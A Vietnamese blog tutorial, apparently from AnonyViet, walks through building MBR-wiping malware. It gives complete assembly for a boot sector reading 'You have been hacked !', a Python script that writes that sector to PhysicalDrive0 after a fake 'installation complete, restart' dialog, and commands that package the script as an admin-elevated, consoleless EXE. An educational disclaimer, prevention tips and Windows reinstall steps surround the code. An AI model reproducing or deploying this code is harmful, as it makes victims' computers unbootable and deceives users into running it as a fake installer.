Đây là một chủ đề “khá nhạy cảm” và “nguy hiểm” và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình khỏi nó, mình đã tìm hiểu về nó. Trong bài viết này, mình sẽ chia sẻ với bạn về cách mà mình đã tạo ra một đoạn mã độc và sử dụng nó để phá huỷ dữ liệu trên ổ cứng chỉ với 1 tập lệnh Python.
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
An0nyviet hy vọng rằng bài viết này sẽ giúp bạn hiểu rõ hơn về cách thức hoạt động của mã độc và cách bảo vệ chính mình khỏi nó. Mình sẽ chia sẻ cách tạo ra một phần mềm độc hại MBR. Trước khi vào vấn đề đó mình sẽ nói qua khái niệm về MBR và cách hoạt động của nó.
Lưu ý: Bài viết chỉ mang tính chất giáo dục, nghiên cứu về mã độc, vui lòng không thực hiện các cuộc tấn công phạm pháp nào. Anonyviet không chịu toàn bộ trách nhiệm mà bạn đã gây ra !
MBR là gì ? Cách hoạt động của MBR
MBR ( Master Boot Record: Bản ghi khởi động chính ), là một phần của đĩa cứng được sử dụng để khởi động hệ thống máy tính. Nó là một khối dữ liệu 512 byte đầu tiên trên ổ đĩa cứng được sử dụng để lưu trữ thông tin về cách phân vùng đĩa cứng và cách khởi động hệ thống. Trong MBR, có một bảng phân vùng chứa thông tin về các phân vùng trên đĩa cứng, bao gồm địa chỉ bắt đầu và kích thước của mỗi phân vùng. Nó cũng chứa mã khởi động ( bootloader ) để hệ thống có thể khởi động từ ổ đĩa cứng. Ngoài ra nó còn chứa một chữ ký ( signature ) với kích cỡ 2 byte ở cuối để xác nhận rằng nó là MBR hợp lệ và giúp hệ điều hành nhận diện đĩa cứng. Tuy nhiên, MBR cũng là điểm yếu của hệ thống bởi vì nó có thể bị tấn công bởi mã độc và phá hỏng thông tin về phân vùng và cách khởi động hệ thống, gây ra các vấn đề nghiêm trọng khi khởi động hệ thống.
Cách hoạt động của MBR: Khi hệ thống được bật, trình điều khiển BIOS (Basic Input/Output System) sẽ đọc MBR từ ổ đĩa cứng và tải nó vào bộ nhớ. Mã khởi động (bootloader) trong MBR sẽ được thực thi, cho phép hệ thống khởi động từ ổ đĩa cứng. Sau đó, Bootloader sẽ tải phần mềm khởi động tiếp theo (như GRUB hoặc NTLDR) và cho phép người dùng chọn hệ điều hành để khởi động. Nếu không có lựa chọn, bootloader sẽ tiếp tục thực thi và chuyển quyền điều khiển cho hệ điều hành. Nếu MBR bị hỏng hoặc bị tấn công bởi mã độc, bootloader có thể không thể được tải hoặc hệ thống sẽ không khởi động được. Trong trường hợp này, bạn cần phải sử dụng các công cụ phục hồi hệ thống để sửa chữa hoặc khôi phục lại MBR để đảm bảo hệ thống có thể khởi động được lại.
Mình đã tạo ra mã độc MBR phá hủy ổ cứng như thế nào ?
Để tạo ra được mã độc này, An0nyViet đã tìm hiểu những kiến thức sau:
- Ngôn ngữ lập trình Assembler: đây là một ngôn ngữ lập trình gần với ngôn ngữ máy và cung cấp một phương tiện để lập trình trực tiếp các lệnh máy tính. Nó cung cấp các lệnh khá đơn giản về việc thực hiện các tác vụ cơ bản như tính toán, lưu trữ và điều khiển và mình thường thấy các lập trình viên dùng ngôn ngữ này để viết ra các phần mềm yêu cầu xử lý tốc độ nhanh
- Qemu: là chương trình mô phỏng hệ thống (System Emulator) miễn phí và mã nguồn mở, cho phép người dùng chạy các hệ điều hành và phần mềm trong một môi trường ảo trên các nền tảng khác nhau. Nó mô phỏng một loạt các kiến trúc máy tính bao gồm các CPU phổ biến như x86, ARM, PowerPC, SPARC, và MIPS, cũng như các hệ điều hành như MacOS, Windows, và Linux
- Netwide Assembler: viết tắt là “NASM” là một trình dịch ngược mã (Assembler) mã nguồn mở, được sử dụng để chuyển đổi mã assembly (ngôn ngữ lập trình gần với ngôn ngữ máy như mình đã nói ở trên) thành mã máy. NASM hỗ trợ nhiều kiến trúc máy tính, bao gồm các kiến trúc phổ biến như x86 và x86-64 (bao gồm cả 32-bit và 64-bit), ARM, PowerPC,…. Nó được sử dụng trong nhiều dự án phần mềm mã nguồn mở, bao gồm các hệ điều hành như Linux và FreeBSD, và các công cụ và ứng dụng như bootloader và các ứng dụng mã hóa.
- Ngôn ngữ lập trình Python: Đây là một ngôn ngữ lập trình khá nhiều anh em được biết và được học rồi nhỉ, được biết Python nổi tiếng về cú pháp đơn giản, dễ đọc, dễ hiểu, và dễ học. Hiện tại Python đang được phát triển và được dạy trong chương trình THPT. Python là ngôn ngữ lập trình thông dịch, được sử dụng rộng rãi trong nhiều lĩnh vực khác nhau. Và đó cũng là lí do mình lựa chọn Python để viết ra mã độc MBR nhằm dễ đọc và dễ hiểu hơn
Trước tiên mình download Qemu Binaries và NASM. Việc cài đặt 2 phần mềm này khá đơn giản nên mình sẽ bỏ qua nhé. Bây giờ mình sẽ tiến hành tạo một tên tệp với bản định dạng của ngôn ngữ Assembler là .asm. Mình đặt tên file là boot.asm nhé
Bước 1: Tạo tệp boot.asm và biên dịch sang mã hex độc
org 0x7c00 bits 16 start: call cls mov bx, display print: mov al, [bx] cmp al, 0 je halt call print_char inc bx jmp print print_char: mov ah, 0x0e int 0x10 ret halt: ret cls: mov ah, 0x07 mov al, 0x00 mov bh, 0x02 mov cx, 0x00 mov dx, 0x184f int 0x10 ret display db "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0 times 510 - ($ - $$) db 0 dw 0xaa55
Đoạn code trên là một chương trình boot loader, được tạo ra để chạy trên một máy tính x86 sau khi khởi động. Bây giờ chúng mình hãy cùng đi vào từng đoạn code để hiểu rõ hơn nha:
Dòng đầu tiên org 0x7c00
chỉ định vị trí lưu trữ của chương trình khi nó được nạp vào bộ nhớ, và địa chỉ này được xác định là 0x7c00
. Dòng thứ 2 chính là bits 16
chỉ định rằng chương trình này sẽ được biên dịch và chạy trên kiến trúc 16Bit
org 0x7c00 bits 16
Chương trình bắt đầu bằng nhãn start
và thực hiện các lệnh. Lệnh đầu tiên gọi hàm cls
để xóa màn hình. Lệnh thứ hai đưa địa chỉ của chuỗi display
vào thanh ghi bx
start: call cls mov bx, display
Đoạn mã này lặp lại cho đến khi kết thúc chuỗi display
. Mỗi lần lặp lại, nó đọc một ký tự từ chuỗi display
và gọi hàm print_char
để in ký tự đó ra màn hình. Sau đó, nó tăng giá trị của thanh ghi bx
để trỏ đến ký tự tiếp theo trong chuỗi display
và lặp lại quá trình này.
print: mov al, [bx] cmp al, 0 je halt call print_char inc bx jmp print
Hàm print_char
đặt giá trị 0x0e
vào thanh ghi ah
, sau đó gọi trình ngắt 0x10
để hiển thị ký tự tương ứng với thanh ghi al
lên màn hình. Tiếp đến, nó sẽ trả về ngay lập tức.
print_char: mov ah, 0x0e int 0x10 ret
Hàm halt
chỉ đơn giản là trả về ngay lập tức.
halt: ret
cls
là một hàm để xóa màn hình
mov ah, 0x07
: Di chuyển giá trị 0x07
vào thanh ghi ah
, là mã hàm ẩn bảng ký tự của BIOS để xoá màn hình.
mov al, 0x00
: Di chuyển giá trị 0x00
vào thanh ghi al
, là thông số mặc định để xoá màn hình.
mov bh, 0x02
: Di chuyển giá trị 0x02
vào thanh ghi bh,
là mã màu sắc của ký tự trên màn hình console.Trong trường hợp này, màu sắc được chọn là màu xanh lá cây được biểu thị bằng mã nhị phân. Bạn có thể xem các danh sách màu chữ của BIOS tại đây
mov cx, 0x00
: Di chuyển giá trị 0x00
vào thanh ghi cx
, là số lần hiển thị để xoá màn hình.
mov dx, 0x184f
: Di chuyển giá trị 0x184f
vào thanh ghi dx
, là tọa độ bắt đầu xoá màn hình với x = 0 và y =0
int 0x10
: Gọi hàm ngắt số 0x10
, là hàm giao tiếp với phần cứng video của máy tính.
ret
: Trả về hàm và quay trở lại nơi gọi hàm.
cls: mov ah, 0x07 mov al, 0x00 mov bh, 0x02 mov cx, 0x00 mov dx, 0x184f int 0x10 ret
display
là tên biến, db
là instruction để định nghĩa một chuỗi byte.
Chuỗi được định nghĩa bao gồm: "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
và bạn cũng có thể thay đổi lời nhắn tùy ý nhé !
Ở đây "We are Anonyviet.com, I am Hevin"
là một chuỗi ký tự, trong trường hợp này là thông điệp được hiển thị trên màn hình
Còn 13
và 10
lần lượt là các ký tự ASCII tương ứng với các ký tự xuống dòng và lùi về đầu dòng (Carriage Return và Line Feed).
"You have been hacked !"
là thông điệp tiếp theo được hiển thị trên màn hình. 0
là ký tự kết thúc chuỗi.
times 510 - ($ - $$) db 0
sử dụng lệnh times
để bổ sung các byte giá trị 0 vào phần còn thiếu của boot sector (tính từ đầu cho tới vị trí 510).
dw 0xaa55
giá trị kết thúc của boot sector là 0xAA55
, giá trị này sẽ được BIOS sử dụng để kiểm tra tính hợp lệ của boot sector trước khi nạp vào bộ nhớ và thực thi
display db "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0 times 510 - ($ - $$) db 0 dw 0xaa55
Cách hoạt động của chương trình phá hủy MBR ổ cứng trên như sau:
Trước tiên, nó sử dụng lệnh org 0x7c00
để xác định địa chỉ bắt đầu của chương trình, tức là địa chỉ 0x7c00
. Tiếp đến sử dụng bits 16
để chỉ định kiểu bit được sử dụng.
Sau đó, chương trình chạy đến nhãn start
và gọi hàm cls
để xóa màn hình và di chuyển con trỏ về địa chỉ đầu tiên của chuỗi display
bằng cách di chuyển địa chỉ của chuỗi vào thanh ghi bx
Tiếp theo, chương trình sử dụng một vòng lặp để in từng ký tự trong chuỗi display
bằng cách gọi hàm print_char
. Nếu ký tự là ký tự null (0), vòng lặp sẽ dừng lại và chương trình sẽ gọi hàm halt
để kết thúc chương trình. Nếu không, con trỏ sẽ được di chuyển sang ký tự tiếp theo trong chuỗi bằng cách tăng giá trị của thanh ghi bx
và chương trình sẽ tiếp tục in ký tự tiếp theo.
Hàm print_char
sử dụng lệnh int 0x10
để gọi dịch vụ hệ thống của BIOS để in một ký tự lên màn hình. Trong hàm này, chương trình truyền giá trị của thanh ghi al
vào thanh ghi ah
và sau đó gọi lệnh int 0x10
để in ký tự lên màn hình.
Hàm cls
cũng sử dụng lệnh int 0x10
để gọi dịch vụ hệ thống của BIOS để xóa màn hình. Trong hàm này, chương trình thiết lập các thanh ghi để định dạng của việc xóa màn hình và sau đó gọi lệnh int 0x10
để xóa màn hình.
Cuối cùng, chương trình kết thúc bằng hai câu lệnh với times 510 - ($ - $$) db 0
được sử dụng để đảm bảo rằng kích thước của chương trình sẽ là chính xác 512 byte và dw 0xaa55
được sử dụng để đánh dấu kí tự cuối của một sector bootable.
Để biên dịch được sang mã hex độc và thực thi nó mình đã làm như sau:
Giờ mình sẽ boot thử vào boot.bin bằng qemu binaries xem có được không nhé ! OK. Vậy là được rồi. Đầu tiên mình sẽ sử dụng NASM để biên dịch boot.asm sang boot.bin sau đó mình sẽ vào website tomeko.net để chuyển file boot.bin sang mã hex độc hại tiếp đến mình chỉ vệc copy lại
Ngoài ra bạn có thể sử dụng một đoạn script Python nhỏ của mình để chuyển file bin sang dạng mã hex nhé. Nếu bạn có tên file khác boot.bin bạn chỉ cần sửa ở dòng 3 sau đó chạy script, nó sẽ cấp cho bạn 1 đoạn mã hex giống như bên dưới
import binascii with open("boot.bin", "rb") as f: binary_data = f.read() hex_values = ["0x{:02X}".format(byte) for byte in binary_data] print(hex_values) hex_string = ", ".join(hex_values) print(hex_string)
Bước 2: Đính kèm mã hex độc và biên dịch sang EXE
Đầu tiên mình sẽ viết ra 1 đoạn code Python ngắn gọn với module Pywin32 việc cài đặt module đó cũng khá đơn giản, bạn chỉ cần mở CMD trên máy sau đó chạy đoạn lệnh pip install pywin32
.Với module này giúp mình làm việc với các tài nguyên Windows như các tệp, thư mục, tiến trình, ứng dụng, COM objects, registry, service,…Không chỉ vậy, nó còn thực hiện các tác vụ liên quan đến Windows, bao gồm cả việc sử dụng các API của Windows thông qua các đối tượng Python. Mình sẽ gọi các module con của Pywin32 bao gồm win32file, win32api, win32gui, win32ui và win32con và import tất cả những gì của module vào. Còn module time mình dùng để “thao túng tâm lý” nạn nhân thôi :>
Và bạn chỉ cần copy đoạn mã hex lúc nãy mà bạn đã tạo được và paste nó vào bến ma_doc như hình bên dưới
from win32file import * from win32api import * from win32gui import * from win32con import * from win32ui import * from time import sleep ma_doc = bytes([ # paste đoạn code dữ liệu hex tại đây ])
Sau khi đã copy mã độc vào biến ma_doc, chúng ta sẽ tạo 1 hàm tên là run_mbr() bao gồm các nội dung sau:
def run_mbr(): while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO: continue sleep(3) if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"): pass anonyviet = CreateFileW(r"\\.\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, 0) WriteFile(anonyviet, ma_doc, None) CloseHandle(anonyviet) run_mbr()
Một vòng lặp while vô hạn được bắt đầu. Trong vòng lặp này, một hộp thoại MessageBox sẽ xuất hiện với một thông điệp yêu cầu người dùng bấm Yes hoặc No để tiếp tục cài đặt. Nếu người dùng bấm No, vòng lặp sẽ tiếp tục chạy và hộp thoại sẽ xuất hiện lại ( Và đây là kiểu ép buộc người dùng phải chọn Yes ), Nếu người dùng bấm Yes, vòng lặp sẽ kết thúc. Sau đó, chương trình sẽ dừng nghỉ trong 3 giây bằng hàm sleep(3)
để đợi người dùng có thể đọc thông báo hoàn tất. Tiếp theo, một hộp thoại MessageBox khác xuất hiện với thông điệp yêu cầu người dùng khởi động lại máy tính để phần mềm được cập nhật. Nếu người dùng nhấn OK, chương trình sẽ tiếp tục thực thi bước tiếp theo. Với chuỗi đầu tiên trong MessageBox đó là Bấm "Yes" để tiếp tục cài đặt
Đây là chuỗi hiện lên thông báo văn bản trên hộp thoại, tiếp đến đó là chuỗi 'Anonyviet'
đây là chuỗi hiện thị tên hộp thoại và cuối cùng đó là MB_YESNO
đây là một phương thức gọi hộp thoại YES NO của win32gui
Tiếp đến là mở một tập tin được gọi là \\.\PhysicalDrive0, là tệp tương ứng với ổ đĩa vật lý đầu tiên trên hệ thống. Điều này cho phép chương trình ghi một số dữ liệu lên phần MBR (Master Boot Record) của ổ đĩa. Dòng code bên dưới tạo một file handle (một đối tượng để truy cập file) cho thiết bị ổ đĩa vật lý đầu tiên (PhysicalDrive0) bằng cách sử dụng hàm CreateFileW của Windows API. Tham số GENERIC_WRITE
chỉ định rằng file handle này sẽ được sử dụng để ghi dữ liệu vào ổ đĩa. Tham số FILE_SHARE_READ
và FILE_SHARE_WRITE
cho phép các tiến trình khác có thể đọc và ghi vào thiết bị. Tham số None
chỉ định rằng không có thuộc tính bảo mật nào được sử dụng cho file handle. Tham số OPEN_EXISTING
chỉ định rằng file handle được tạo sẽ trỏ tới một file đã tồn tại. Tham số cuối cùng là các flag khác và ở đây được đặt là 0.
với đoạn code bên dưới sử dụng hàm WriteFile()
của Windows API để ghi dữ liệu được lưu trong biến ma_doc
(chứa mã độc MBR) vào ổ đĩa vật lý đã được mở file handle (anonyviet
). Tiếp đến là hàm CloseHandle()
hàm này đóng file handle (anonyviet
) đã được mở trước đó. Việc đóng file handle giúp giải phóng tài nguyên và ngăn chặn việc các tiến trình khác ghi vào thiết bị.
Nói nôm na là chương trình này yêu cầu người dùng bấm Yes để tiếp tục cài đặt, sau đó dừng nghỉ trong 3 giây và hiển thị một thông báo yêu cầu khởi động lại máy tính để cập nhật phần mềm. Sau khi người dùng khởi động lại máy tính, chương trình ghi dữ liệu vào phần MBR của ổ đĩa vật lý đầu tiên trên hệ thống. Và đó chính là mã độc MBR
Đây là đoạn code Python hoàn thiện:
from win32file import * from win32api import * from win32gui import * from win32con import * from win32ui import * from time import sleep ma_doc = bytes([ # paste đoạn code dữ liệu hex tại đây 0xE8, 0x15, 0x00, 0xBB, 0x27, 0x7C, 0x8A, 0x07, 0x3C, 0x00, 0x74, 0x0B, 0xE8, 0x03, 0x00, 0x43, 0xEB, 0xF4, 0xB4, 0x0E, 0xCD, 0x10, 0xC3, 0xC3, 0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x02, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 0xCD, 0x10, 0xC3, 0x57, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x76, 0x69, 0x65, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2C, 0x20, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x48, 0x65, 0x76, 0x69, 0x6E, 0x0D, 0x0A, 0x59, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x68, 0x61, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x21, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA ]) def run_mbr(): while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO: continue sleep(3) if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"): pass anonyviet = CreateFileW(r"\\.\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, 0) WriteFile(anonyviet, ma_doc, None) CloseHandle(anonyviet) run_mbr()
Để build được file Python sang EXE ( file exe này phải chạy với quyền admin nhen ) mình sẽ sử dụng Pyinstaller hoặc là Nuitka để build ra phần mềm chứa mã độc mbr:
pyinstaller --onefile --uac-admin -w FileMaDocMBRcuaBan.py
nuitka --onefile --windows-uac-admin --mingw64 --disable-console FileMaDocMBRcuaBan.py
Và đây là kết quả !
Cách phòng chống mã độc MBR:
- Sử dụng phần mềm diệt virus và cập nhật thường xuyên: Cài đặt phần mềm diệt virus trên máy tính của bạn và cập nhật thường xuyên để bảo vệ máy tính của bạn khỏi các mã độc MBR mới nhất.
- Không tải xuống và cài đặt phần mềm từ các nguồn không rõ nguồn gốc: Tránh tải xuống và cài đặt phần mềm từ các trang web không rõ nguồn gốc, vì chúng có thể chứa mã độc MBR.
- Không mở email hoặc tải xuống các tập tin từ các nguồn không rõ nguồn gốc: Mở email và tải xuống tập tin từ các nguồn không rõ nguồn gốc có thể dẫn đến sự lây lan của mã độc MBR
- Sử dụng Firewall: Cài đặt tường lửa (Firewall) để bảo vệ máy tính của bạn khỏi các cuộc tấn công mạng.
- Sử dụng phần mềm Anti-Rootkit: Cài đặt phần mềm Anti-Rootkit, nó sẽ giúp phát hiện và loại bỏ mã độc MBR.
- Sử dụng mật khẩu truy cập: Sử dụng mật khẩu để bảo vệ BIOS và MBR khỏi các tấn công truy cập trái phép.
- Không để ổ đĩa cứng trống trải: Nếu ổ đĩa cứng của bạn trống trải, các hacker có thể sử dụng để lưu trữ mã độc MBR.
- Sử dụng phần mềm Backup: Sử dụng phần mềm Backup để sao lưu dữ liệu quan trọng và ổ đĩa cứng, nếu có bất kỳ điều gì xảy ra thì bạn có thể phục hồi lại dữ liệu của mình.
Cách giải quyết khi bị nhiễm mã độc MBR trên Windows
Bước 1: Tải bộ cài đặt Windows từ trang web của Microsoft. Bạn có thể tải về bản cài đặt tương ứng với phiên bản Windows bạn muốn cài đặt, ví dụ như Windows 10.
Bước 2: Tạo một đĩa hoặc USB khởi động từ bộ cài đặt Windows bạn vừa tải về. Bạn có thể sử dụng một phần mềm tạo USB khởi động như Rufus để thực hiện việc này.
Bước 3: Chọn thiết bị khởi động từ đĩa hoặc USB mà bạn đã tạo ở bước trên. Để làm điều này, bạn cần truy cập vào BIOS hoặc UEFI firmware và thay đổi thiết lập khởi động.
Bước 4: Khởi động máy tính từ đĩa hoặc USB khởi động. Sau khi khởi động, bạn sẽ thấy màn hình cài đặt Windows.
Bước 5: Làm theo các hướng dẫn trên màn hình để cài đặt Windows. Bạn có thể chọn loại cài đặt tùy chỉnh để xóa toàn bộ dữ liệu trên ổ cứng.
Bước 6: Khi quá trình cài đặt hoàn tất, bạn cần cài đặt các trình điều khiển và các ứng dụng mà bạn sử dụng thường xuyên. Bạn có thể tải chúng từ trang web của nhà sản xuất hoặc từ Microsoft Store.
Ad cho e tham khảo bài viết để demo được không ad ạ?
Đc nhé
hay quá ad ạ , em năm 2 attt thì cần học gì ạ , em muốn hỏi ý kiến ad để tham khảo ạ
add a qua discord: hevin19